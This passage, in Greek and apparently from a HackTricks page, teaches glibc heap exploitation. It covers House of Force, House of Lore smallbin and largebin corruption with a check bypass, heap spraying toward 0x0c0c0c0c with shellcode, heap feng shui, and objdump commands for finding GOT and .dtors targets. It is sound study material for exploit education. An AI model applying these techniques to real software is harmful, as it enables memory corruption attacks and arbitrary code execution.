Το πρώτο που γίνεται είναι να υπεργραφεί το μέγεθος του κομματιού wilderness με μια πολύ μεγάλη τιμή (0xffffffff), έτσι οποιαδήποτε αίτηση μνήμης αρκετά μεγάλη θα αντιμετωπιστεί στο _int_malloc() χωρίς να χρειάζεται να επεκταθεί το heap.

Το δεύτερο είναι να τροποποιηθεί το av->top ώστε να δείχνει σε μια περιοχή μνήμης υπό τον έλεγχο του επιτιθέμενου, όπως η στοίβα. Στο av->top θα μπει &EIP - 8.

Πρέπει να υπεργράψουμε το av->top ώστε να δείχνει στην περιοχή μνήμης υπό τον έλεγχο του επιτιθέμενου:

victim = av->top;

remainder = chunck_at_offset(victim, nb);

av->top = remainder;

Η Victim συλλέγει την τιμή της διεύθυνσης του τρέχοντος κομματιού wilderness (το τρέχον av->top) και το remainder είναι ακριβώς το άθροισμα αυτής της διεύθυνσης με την ποσότητα των bytes που ζητήθηκαν από το malloc(). Έτσι, αν &EIP-8 είναι στο 0xbffff224 και το av->top περιέχει 0x080c2788, τότε η ποσότητα που πρέπει να κρατήσουμε στο malloc που ελέγχεται ώστε το av->top να δείχνει στο $EIP-8 για την επόμενη malloc() θα είναι:

0xbffff224 - 0x080c2788 = 3086207644.

Έτσι θα αποθηκευτεί στο av->top η τροποποιημένη τιμή και η επόμενη malloc θα δείχνει στο EIP και θα μπορεί να το υπεργράψει.

Είναι σημαντικό να γνωρίζουμε ότι το μέγεθος του νέου κομματιού wilderness είναι μεγαλύτερο από την αίτηση που έγινε από την τελευταία malloc(). Δηλαδή, αν το wilderness δείχνει στο &EIP-8, το μέγεθος θα μείνει ακριβώς στο πεδίο EBP της στοίβας.

The House of Lore

Διαφθορά SmallBin

Τα κομμάτια που απελευθερώνονται εισάγονται στο bin ανάλογα με το μέγεθός τους. Αλλά πριν εισαχθούν, αποθηκεύονται σε unsorted bins. Ένα κομμάτι απελευθερωμένο δεν μπαίνει αμέσως στο bin του, αλλά μένει σε unsorted bins. Στη συνέχεια, αν ζητηθεί ένα νέο κομμάτι και το προηγούμενο απελευθερωμένο μπορεί να εξυπηρετήσει, του το επιστρέφει, αλλά αν ζητηθεί μεγαλύτερο, το απελευθερωμένο κομμάτι σε unsorted bins μπαίνει στο κατάλληλο bin του.

Για να φτάσουμε στον ευάλωτο κώδικα, η αίτηση μνήμης πρέπει να είναι μεγαλύτερη από το av->max_fast (72 κανονικά) και λιγότερη από το MIN_LARGE_SIZE (512).

Εάν στο bin υπάρχει ένα κομμάτι του κατάλληλου μεγέθους για αυτό που ζητείται, επιστρέφεται αυτό μετά την αποσύνδεση:

bck = victim->bk; Δείχνει στο προηγούμενο κομμάτι, είναι η μόνη πληροφορία που μπορούμε να τροποποιήσουμε.

bin->bk = bck; Το προτελευταίο κομμάτι γίνεται το τελευταίο, σε περίπτωση που το bck δείχνει στη στοίβα, στο επόμενο κομμάτι που θα κρατηθεί θα δοθεί αυτή η διεύθυνση.

bck->fd = bin; Κλείνει τη λίστα κάνοντάς το να δείχνει στο bin.

Απαιτείται:

Να κρατηθούν δύο malloc, έτσι ώστε στο πρώτο να μπορεί να γίνει overflow αφού το δεύτερο έχει απελευθερωθεί και εισαχθεί στο bin του (δηλαδή, να έχει κρατηθεί ένα malloc μεγαλύτερο από το δεύτερο κομμάτι πριν γίνει η υπερχείλιση).

Να ελέγχεται το malloc που κρατείται στο οποίο θα δοθεί η διεύθυνση που επιλέγει ο επιτιθέμενος.

Ο στόχος είναι ο εξής, αν μπορούμε να κάνουμε μια υπερχείλιση σε ένα heap που έχει από κάτω ένα κομμάτι που έχει ήδη απελευθερωθεί και είναι στο bin του, μπορούμε να τροποποιήσουμε τον δείκτη bk του. Εάν τροποποιήσουμε τον δείκτη bk του και αυτό το κομμάτι γίνει το πρώτο της λίστας του bin και κρατηθεί, το bin θα παραπλανηθεί και θα του πει ότι το τελευταίο κομμάτι της λίστας (το επόμενο που προσφέρεται) είναι στη διεύθυνση ψεύτικη που έχουμε βάλει (στη στοίβα ή GOT για παράδειγμα). Έτσι, αν κρατηθεί ένα άλλο κομμάτι και ο επιτιθέμενος έχει άδεια σε αυτό, θα του δοθεί ένα κομμάτι στη θέση που επιθυμεί και θα μπορεί να γράψει σε αυτή.

Μετά την απελευθέρωση του τροποποιημένου κομματιού είναι απαραίτητο να κρατηθεί ένα κομμάτι μεγαλύτερο από το απελευθερωμένο, έτσι το τροποποιημένο κομμάτι θα βγει από τα unsorted bins και θα εισαχθεί στο κατάλληλο bin του.

Μόλις είναι στο bin του, είναι η στιγμή να τροποποιηθεί ο δείκτης bk μέσω της υπερχείλισης ώστε να δείχνει στη διεύθυνση που θέλουμε να υπεργράψουμε.

Έτσι, το bin θα πρέπει να περιμένει τη σειρά του ώστε να κληθούν αρκετές φορές οι malloc() ώστε να ξαναχρησιμοποιηθεί το τροποποιημένο bin και να παραπλανήσει το bin κάνοντάς του να πιστέψει ότι το επόμενο κομμάτι είναι στη ψεύτικη διεύθυνση. Και στη συνέχεια θα δοθεί το κομμάτι που μας ενδιαφέρει.

Για να εκτελεστεί η ευπάθεια το συντομότερο δυνατό, το ιδανικό θα ήταν: Κράτηση του ευάλωτου κομματιού, κράτηση του κομματιού που θα τροποποιηθεί, απελευθέρωση αυτού του κομματιού, κράτηση ενός μεγαλύτερου κομματιού από αυτό που θα τροποποιηθεί, τροποποίηση του κομματιού (ευπάθεια), κράτηση ενός κομματιού ίδιου μεγέθους με το τροποποιημένο και κράτηση ενός δεύτερου κομματιού ίδιου μεγέθους και αυτό θα είναι αυτό που θα δείχνει στη διεύθυνση που επιλέγεται.

Για να προστατευτεί αυτή η επίθεση χρησιμοποιήθηκε η τυπική επαλήθευση ότι το κομμάτι “δεν” είναι ψεύτικο: ελέγχεται αν το bck->fd δείχνει στο victim. Δηλαδή, στην περίπτωσή μας αν ο δείκτης fd* του κομματιού που δείχνεται στη στοίβα δείχνει στο victim. Για να παρακαμφθεί αυτή η προστασία, ο επιτιθέμενος θα πρέπει να είναι σε θέση να γράψει με κάποιο τρόπο (πιθανώς μέσω της στοίβας) στη σωστή διεύθυνση τη διεύθυνση του victim. Έτσι ώστε να φαίνεται σαν ένα πραγματικό κομμάτι.

Διαφθορά LargeBin

Απαιτούνται οι ίδιες απαιτήσεις όπως πριν και μερικές ακόμη, επιπλέον τα κομμάτια που κρατούνται πρέπει να είναι μεγαλύτερα από 512.

Η επίθεση είναι όπως η προηγούμενη, δηλαδή, πρέπει να τροποποιηθεί ο δείκτης bk και απαιτούνται όλες αυτές οι κλήσεις σε malloc(), αλλά επιπλέον πρέπει να τροποποιηθεί το μέγεθος του τροποποιημένου κομματιού έτσι ώστε αυτό το μέγεθος - nb να είναι < MINSIZE.

Για παράδειγμα, θα κάνει να βάλουμε στο μέγεθος 1552 ώστε 1552 - 1544 = 8 < MINSIZE (η αφαίρεση δεν μπορεί να είναι αρνητική γιατί συγκρίνεται ένα unsigned).

Επιπλέον, έχει εισαχθεί μια επιδιόρθωση για να γίνει ακόμη πιο περίπλοκο.

Heap Spraying

Βασικά συνίσταται στην κράτηση όλης της δυνατής μνήμης για heaps και γέμισμα αυτών με ένα στρώμα nops που τελειώνει με μια shellcode. Επιπλέον, ως στρώμα χρησιμοποιείται το 0x0c. Διότι θα προσπαθήσουμε να παραλείψουμε στη διεύθυνση 0x0c0c0c0c, και έτσι αν υπεργραφεί κάποια διεύθυνση στην οποία θα κληθεί με αυτό το στρώμα, θα παραλειφθεί εκεί. Βασικά η τακτική είναι να κρατήσουμε το μέγιστο δυνατό για να δούμε αν υπεργραφεί κάποιος δείκτης και να παραλείψουμε στο 0x0c0c0c0c περιμένοντας ότι εκεί θα υπάρχουν nops.

Heap Feng Shui

Συνίσταται στο να σπείρουμε τη μνήμη μέσω κρατήσεων και απελευθερώσεων έτσι ώστε να παραμείνουν κομμάτια κρατημένα ανάμεσα σε ελεύθερα κομμάτια. Ο buffer που θα υπερχειλίσει θα βρίσκεται σε ένα από τα αυγά.

objdump -d εκτελέσιμο —> Διασπά τις συναρτήσεις
objdump -d ./ΠΡΟΓΡΑΜΜΑ | grep ΣΥΝΑΡΤΗΣΗ —> Λαμβάνει τη διεύθυνση της συνάρτησης
objdump -d -Mintel ./shellcodeout —> Για να δούμε ότι είναι πράγματι η shellcode μας και να βγάλουμε τους OpCodes
objdump -t ./exec | grep varBss —> Πίνακας συμβόλων, για να βγάλουμε τη διεύθυνση μεταβλητών και συναρτήσεων
objdump -TR ./exec | grep exit(func lib) —> Για να βγάλουμε τη διεύθυνση συναρτήσεων βιβλιοθηκών (GOT)
objdump -d ./exec | grep funcCode
objdump -s -j .dtors /exec
objdump -s -j .got ./exec
objdump -t --dynamic-relo ./exec | grep puts —> Βγάζει τη διεύθυνση του puts για να υπεργραφεί στην GOT
objdump -D ./exec —> Διασπά ΟΛΑ μέχρι τις εισόδους της plt
objdump -p -/exec
Info functions strncmp —> Πληροφορίες για τη συνάρτηση στο gdb

Ενδιαφέροντα μαθήματα

Αναφορές

{% hint style="success" %} Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Υποστήριξη HackTricks
{% endhint %}